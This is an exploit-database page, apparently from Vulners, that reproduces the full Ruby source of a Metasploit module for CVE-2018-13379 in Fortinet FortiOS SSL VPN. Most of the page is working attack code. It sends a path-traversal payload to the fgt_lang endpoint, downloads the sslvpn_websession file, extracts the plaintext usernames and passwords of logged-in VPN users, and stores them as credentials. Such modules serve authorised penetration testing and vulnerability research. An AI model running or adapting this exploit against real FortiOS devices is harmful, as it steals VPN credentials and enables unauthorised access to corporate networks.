Lucene search
+L

FortiOS Path Traversal Credential Gatherer

🗓️ 27 Feb 2021 17:42:21Reported by Meh Chang, Orange Tsai, lynx (Carlos Vieira), mekhalleh (RAMELLA Sébastien)Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 82 Views

Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to 6.0.4 are vulnerable to a path traversa

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
14 Dec 202012:17
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
11 Aug 201909:44
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
23 May 202613:25
githubexploit
githubexploit
GithubExploit
Exploit for Server-Side Request Forgery in Microsoft
27 Jan 202611:39
githubexploit
githubexploit
GithubExploit
MCATester
24 Jun 202605:32
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
5 Feb 202619:12
githubexploit
githubexploit
GithubExploit
FortiGate-FortiWeb-Multi-Exploit-Extractor
14 May 202614:07
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Vmware Cloud_Foundation
27 Jan 202612:00
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
30 Nov 202008:39
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
19 Nov 202021:22
githubexploit
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiOS Path Traversal Credential Gatherer',
        'Description' => %q{
          Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to
          6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN
          web portal which allows unauthenticated attackers to download FortiOS system
          files through specially crafted HTTP requests.

          This module exploits this vulnerability to read the usernames and passwords
          of users currently logged into the FortiOS SSL VPN, which are stored in
          plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.
        },
        'References' => [
          %w[CVE 2018-13379],
          %w[EDB 47287],
          %w[EDB 47288],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
          ['URL', 'https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf'],
          ['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/'],
          ['ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW]
        ],
        'Author' => [
          'Meh Chang', # discovery and PoC
          'Orange Tsai', # discovery and PoC
          'lynx (Carlos Vieira)', # initial module author from edb
          'mekhalleh (RAMELLA Sébastien)' # Metasploit module author (Zeop Entreprise)
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultOptions' => {
          'RPORT' => 10_443,
          'SSL' => true
        }
      )
    )

    register_options([
      OptEnum.new('DUMP_FORMAT', [true, 'Dump format.', 'raw', %w[raw ascii]]),
      OptBool.new('STORE_CRED', [false, 'Store credential into the database.', true]),
      OptString.new('TARGETURI', [true, 'Base path', '/remote'])
    ])
  end

  def execute_request
    payload = '/../../../..//////////dev/cmdb/sslvpn_websession'

    uri = normalize_uri(target_uri.path, 'fgt_lang')
    begin
      response = send_request_cgi(
        {
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => {
            'lang' => payload
          }
        }
      )
    rescue StandardError => e
      print_error(message(e.message.to_s))
      return nil
    end

    unless response
      print_error(message('No reply.'))
      return nil
    end

    if response.code != 200
      print_error(message('NOT vulnerable!'))
      return nil
    end

    if response.body =~ /var fgt_lang/
      print_good(message('Vulnerable!'))
      report_vuln(
        host: @ip_address,
        name: name,
        refs: references
      )
      return response.body if datastore['STORE_CRED'] == true
    end

    nil
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def parse_config(chunk)
    chunk = chunk.split("\x00").reject(&:empty?)

    return if chunk[1].nil? || chunk[2].nil?

    {
      ip: @ip_address,
      port: datastore['RPORT'],
      service_name: @proto,
      user: chunk[1],
      password: chunk[2]
    }
  end

  def report_creds(creds)
    creds.each do |cred|
      cred = cred.gsub('"', '').gsub(/[{}:]/, '').split(', ')
      cred = cred.map do |h|
        h1, h2 = h.split('=>')
        { h1 => h2 }
      end
      cred = cred.reduce(:merge)

      cred = JSON.parse(cred.to_json)

      next unless cred && (!cred['user'].blank? && !cred['password'].blank?)

      service_data = {
        address: cred['ip'],
        port: cred['port'],
        service_name: cred['service_name'],
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: cred['user'],
        private_data: cred['password'],
        private_type: :password
      }.merge(service_data)

      login_data = {
        core: create_credential(credential_data),
        status: Metasploit::Model::Login::Status::UNTRIED
      }.merge(service_data)

      create_credential_login(login_data)
    end
  end

  def run_host(ip)
    @proto = (ssl ? 'https' : 'http')
    @ip_address = ip

    print_status(message('Trying to connect.'))
    data = execute_request
    if data.nil?
      print_error(message('No data received.'))
      return
    end

    loot_data = case datastore['DUMP_FORMAT']
                when /ascii/
                  data.gsub(/[^[:print:]]/, '.')
                else
                  data
                end
    loot_path = store_loot('', 'text/plain', @ip_address, loot_data, '', '')
    print_good(message("File saved to #{loot_path}"))

    return if data.length < 110

    if data[73] == "\x01"
      separator = data[72..73]
    elsif data[105..109] == "\x00\x00\x00\x00\x01"
      separator = data[104..109]
    end
    data = data.split(separator)

    creds = []
    data.each_with_index do |chunk, index|
      next unless index.positive?

      next if chunk[0] == "\x00" || !chunk[0].ascii_only?

      creds << parse_config(chunk).to_s
    end
    creds = creds.uniq

    return unless creds.length.positive?

    print_good(message("#{creds.length} credential(s) found!"))
    report_creds(creds)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation